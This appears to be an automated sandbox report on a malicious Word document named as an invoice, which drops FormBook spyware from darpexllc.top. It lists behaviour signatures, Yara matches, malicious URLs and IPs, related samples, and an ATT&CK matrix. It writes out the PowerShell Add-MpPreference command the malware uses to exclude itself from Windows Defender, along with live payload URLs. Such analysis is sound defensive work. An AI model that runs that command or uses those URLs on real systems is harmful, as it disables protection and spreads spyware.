Source: C:\Users\user\AppData\Roaming\milliano89012.scr TID: 3368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_00DF0101 rdtsc

13_2_00DF0101

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_00DA07AC NtCreateMutant,LdrInitializeThunk,

13_2_00DA07AC

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_00446B54 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

13_2_00446B54

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

13_2_00448B4B

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D900EA mov eax, dword ptr fs:[00000030h]	13_2_00D900EA
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D90080 mov ecx, dword ptr fs:[00000030h]	13_2_00D90080
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB26F8 mov eax, dword ptr fs:[00000030h]	13_2_00DB26F8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00446B54 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		13_2_00446B54
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_004485FB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		13_2_004485FB

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Memory written: C:\Users\user\AppData\Roaming\milliano89012.scr base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Queries volume information: C:\Users\user\AppData\Roaming\milliano89012.scr VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_0044812F GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

13_2_0044812F

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	13 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	33 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Install Root Certificate	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	14 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
invoice.docx.doc	30%	Virustotal		Browse
invoice.docx.doc	29%	ReversingLabs	Document-Office.Exploit.CVE-2017-0199

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp	100%	Avira	EXP/CVE-2018-0798.Gen
C:\Users\user\AppData\Roaming\milliano89012.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	45%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	34%	Virustotal		Browse
C:\Users\user\AppData\Roaming\milliano89012.scr	45%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal
C:\Users\user\AppData\Roaming\milliano89012.scr	34%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
darpexllc.top	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
https://darpexllc.top/milli.scrjjC:	100%	Avira URL Cloud	malware
https://darpexllc.top/milli.scr	100%	Avira URL Cloud	malware
https://darpexllc.top/	100%	Avira URL Cloud	malware
https://darpexllc.top/milli.doc	100%	Avira URL Cloud	malware
http://crl.use	0%	Avira URL Cloud	safe
https://darpexllc.top/milli.scrC:	100%	Avira URL Cloud	malware
https://darpexllc.top/milli.doc	15%	Virustotal		Browse
https://darpexllc.top/milli.scrX	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
https://darpexllc.top/milli.scr	13%	Virustotal		Browse
https://darpexllc.top/E	100%	Avira URL Cloud	malware
https://darpexllc.top/milli.scrj	100%	Avira URL Cloud	malware
https://darpexllc.top/B	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Virustotal		Browse
https://darpexllc.top/milli.scrj	12%	Virustotal		Browse
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Virustotal		Browse
https://darpexllc.top/	6%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
darpexllc.top	188.114.97.3	true	true	6%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://darpexllc.top/milli.doc	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://darpexllc.top/milli.scr	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://darpexllc.top/	darpexllc.top.url.0.dr	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://darpexllc.top/milli.scrjjC:	EQNEDT32.EXE, 00000009.00000002.398305122.000000000052F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.use	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://darpexllc.top/milli.scrC:	EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.399403715.00000000042B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://darpexllc.top/milli.scrX	EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	milliano89012.scr, 0000000A.00000002.415822878.000000000291B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.0000000000588000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.0000000000588000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://darpexllc.top/E	EQNEDT32.EXE, 00000009.00000003.398096588.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://darpexllc.top/milli.scrj	EQNEDT32.EXE, 00000009.00000002.398305122.000000000052F000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://darpexllc.top/B	EQNEDT32.EXE, 00000009.00000003.398096588.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	darpexllc.top	European Union		13335	CLOUDFLARENETUS	true
188.114.96.3	unknown	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482854
Start date and time:	2024-07-26 09:25:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	invoice.docx.doc
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDOC@8/22@14/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 83 Number of non-executed functions: 63
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3224 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:26:16	API Interceptor	60x Sleep call for process: EQNEDT32.EXE modified
03:26:18	API Interceptor	20x Sleep call for process: milliano89012.scr modified
03:26:20	API Interceptor	28x Sleep call for process: powershell.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json
{
  "riskscore": 0,
  "reasons": "The provided screenshot of the office document does not contain any visually prominent buttons or links. The text in the screenshot does not create a sense of urgency or interest, nor does it include phrases typically used in phishing attempts such as 'Click here to view document' or 'To view secured document click here'. Additionally, there is no impersonation of well-known brands. Therefore, there is no indication that this document is designed to mislead the user into clicking on a potentially harmful link."
}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/4Gs
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining2.com/h9fmdW6/index.php
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.whatareyoucraving.com/drbb/
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/vMCQY
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	irlsever.doc	Get hash	malicious	FormBook	Browse	www.ninunveiled.shop/y2xs/
188.114.96.3	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	54.xls	Get hash	malicious	FormBook	Browse	tny.wtf/
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Scan copy.xls	Get hash	malicious	Unknown	Browse	tny.wtf/3VC
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	SEL1685129 AMANOS.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	bshd1.shop/OP341/index.php
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/v0na

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
darpexllc.top	Scan file.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	VERDACHT_New Order 8025047.docx	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	172.64.41.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	104.21.44.162
CLOUDFLARENETUS	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	172.64.41.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	104.21.44.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	New order.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3 188.114.96.3
	042240724.xls	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3 188.114.96.3
	dukas022.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.97.3 188.114.96.3
	VERDACHT_New Order 8025047.docx	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	aabJ5lAG3l.doc	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	5i4hBrTNHm.rtf	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3
	D9p6evtbwe.rtf	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
7dcce5b76c8b17472d024758970a406b	042240724.xls	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	Scan file.doc	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	fLnj4EeH6V.rtf	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	dukas022.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.97.3 188.114.96.3
	VERDACHT_New Order 8025047.docx	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	XrAADcYten.rtf	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	5i4hBrTNHm.rtf	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025498425711638555
Encrypted:	false
SSDEEP:	6:I3DPcx07vxggLRJBTt3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPpHvYg3J/
MD5:	5A001F5F2ED80D1F571ADAF7629B3FEB
SHA1:	FE282853C6971BD290FA11170055409134780B56
SHA-256:	6A991AC26AB2A0EBA4DD59B3726B42DDEF33CA60BD1B6D6B6B25DA2E6C61C3A3
SHA-512:	D8DB7B45354E7C809DC416DE012603C2D505C8DA32BD184DC175669F1E4965C51FDF91A9D295964714826DA1555F1AD10625638A2C173405F5CA08B81AC88626
Malicious:	false
Reputation:	low
Preview:	......M.eFy...za......H......6.S,...X.F...Fa.q............................+.?1Rl%E.{.............u.6i...E..v.5.z].....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... 